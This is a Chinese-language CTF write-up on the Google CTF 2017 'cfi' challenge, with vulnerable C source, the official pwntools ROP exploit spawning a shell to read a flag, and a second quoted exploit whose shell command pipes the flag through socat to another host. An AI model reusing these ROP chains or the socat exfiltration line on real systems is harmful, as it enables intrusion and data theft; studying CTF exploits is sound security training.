step2

1
2
3
4
5
一级标题:<center><font color="red"> 2017 </font></center>
二级标题:<center><font color="green"> quals </font></center>
三级标题:<center><font color="orange"> cfi </font></center>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

题目来源:GitHub - google/google-ctf: Google CTF


2017

quals

cfi

源C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char buf[32] = "";

system("/bin/echo 'addr?'");
read(STDIN_FILENO, buf, sizeof(buf));
char *addr = (char*) strtoull(buf, NULL, 16);

system("/bin/echo 'len?'");
read(STDIN_FILENO, buf, sizeof(buf));
size_t len = strtoull(buf, NULL, 16);

system("/bin/echo 'data?'");
read(STDIN_FILENO, addr, len);

return 0;
}
1
2
3
//源码分析
//STDIN_FILENO :https://blog.csdn.net/sinat_25457161/article/details/48548231
read(STDIN_FILENO, buf_read, sizeof(buf_read)); //读取用户的键盘输入信息

源码分析:

        1、read()函数第一个参数STDIN_FILENO表示从键盘读入数据

        链接:Linux中的STDIN_FILENO和STDOUT_FILENO_沫俱宏的博客-CSDN博客_stdout_fileno

        2、strtoull()函数:以第3个参数为基准读取第1个参数中的有效字符,并将第一个出现的无效字符

                地址存入第2个参数,并返回一个无符号long long 整数

        链接:strtoull函数的使用,及相关信息汇总 - the_tops - 博客园 (cnblogs.com)

        链接:C 库函数 – strtoul() | 菜鸟教程 (runoob.com)

        3、弄明白以上两个点后,结合打印字符中的addr、len、data可知,我们可以向程序中任意的一个

                地址写入我们想要写入的值,也就是拥有任意地址写能力

对题目所给exp的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python
#!/usr/bin/env python2

from pwn import *

STACK = 0xfffff000
LIBC = 0xff544000
CLOSE_IN_CHILD = LIBC + 0x57418
EXECVE = LIBC + 0x56cc0
BINSH = LIBC + 0xb542c
DASH_C = LIBC + 0xb5434
STACK_FRAME_SIZE = 0x138

def connect():
HOST = '104.155.4.100'
PORT = 1337
r = remote(HOST, PORT)

def send_data(addr, data):
r.readuntil('addr?')
r.sendline('{:x}'.format(addr))

r.readuntil('len?')
r.sendline('{:x}'.format(len(data)))

r.readuntil('data?')
r.send(data)

# First we leak the address of the return address on the stack
# * fill the stack with a cyclic sequence
# * the CFI violation will tell us the right offset
r = connect()
send_data(STACK, cyclic(0xff0))
r.readuntil('illegally targeted 0x')
leak = int(r.readline().strip(), 16) #//16进制读取返回的字符串(rbp上的字符串)
RET_ADDR_AT = STACK + cyclic_find(leak) + 8*8 #//ret的地址

# the args to execve
rdi = BINSH
rsi = RET_ADDR_AT + STACK_FRAME_SIZE + 8
rdx = 0

# return into the child function of posix_spawn
rop = p64(CLOSE_IN_CHILD)
# fill the stack frame with some data so that the function doesn't crash
rop += p64(RET_ADDR_AT+16)
rop += '\x00'*0x88

# the child calls a function pointer with arguments from the stack
# we're allowed to call execve here, since that's what it normally does
rop += p64(rdi) + p64(EXECVE) + '\x00'*0x10 + p64(rsi) + p64(rdx)
# fill the rest of the stack frame with zeroes
rop = rop.ljust(STACK_FRAME_SIZE+8, '\x00')

# this is the address that we chose for rsi (our argv)
rop += p64(BINSH)
rop += p64(DASH_C)
rop += p64(RET_ADDR_AT + len(rop) + 16)
rop += p64(0)
rop += "cat /flag.txt\x00"

# send the rop chain and read the flag
r = connect()
send_data(RET_ADDR_AT, rop)
r.clean_and_log()

对网上别人的exp的分析

源自:https://dangokyo.me/2017/11/10/google-ctf-2017-qualification-pwn-cfi-write-up/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
r = remote("1.2.3.4", 2333);
elif(DEBUG == 1):
r = process("./cfi");
elif(DEBUG == 2):
r = process("./cfi");
gdb.attach(r, '''source ./script''');

def halt():
while(True):
log.info(r.recvline());

def aa(ra):
return 0xff544000 + ra;

# the base address of stack differs. In my test, I set a breakpoint at
# syscall_cp in read to get the base address in stack
# in real exploit I think I need to use cyclic string to overwrite the whole stack
# decide the base address of stack from feedback given by server.
stackAddr = 0xfffff1c8;

r.recvuntil("addr?");
r.sendline(hex(stackAddr)[2:]);

r.recvuntil("len?");
r.sendline("300");

payload = p64(aa(0x882e8));
payload += p64(0xbabecafe)*0x1 + p64(aa(0x57418));

fakeR14 = stackAddr + 0x8;
fakeRDI = stackAddr + 0xc0; #0xfffff1c8; #stackAddr+;
fakeRSI = stackAddr + 0xc8; #stackAddr + 0xc8; #0xfffff1d0; #0x500;
fakeRDX = 0; #0xfffff2a8; #0x0;
payload += p64(fakeR14) + p64(0) * 14 + p64(fakeRDI) + p64(0xff59acc0);

payload += p64(0) * 2 + p64(fakeRSI) + p64(fakeRDX) + "/bin/sh"+"\x00"*1
+ p64(fakeRDI) + p64(stackAddr+0x100) + p64(stackAddr+0x103) + p64(0)*4 +
"-c\x00cat flag | socat - TCP4:10.0.2.15:31337\x00";

r.recvuntil("data?");
r.send(payload);

暂时打住———————————————————————–

        不知道为什么,我的ubuntu20.04、ubuntu18.04、ubuntu16.04都无法跑题目给的二进制,暂时无法解决这一问题,这题暂时打住。

        2017年的题,当时ubuntu16.04好像还没发布,所以可能需要更古老的ubuntu才能跑这道题。

 wiki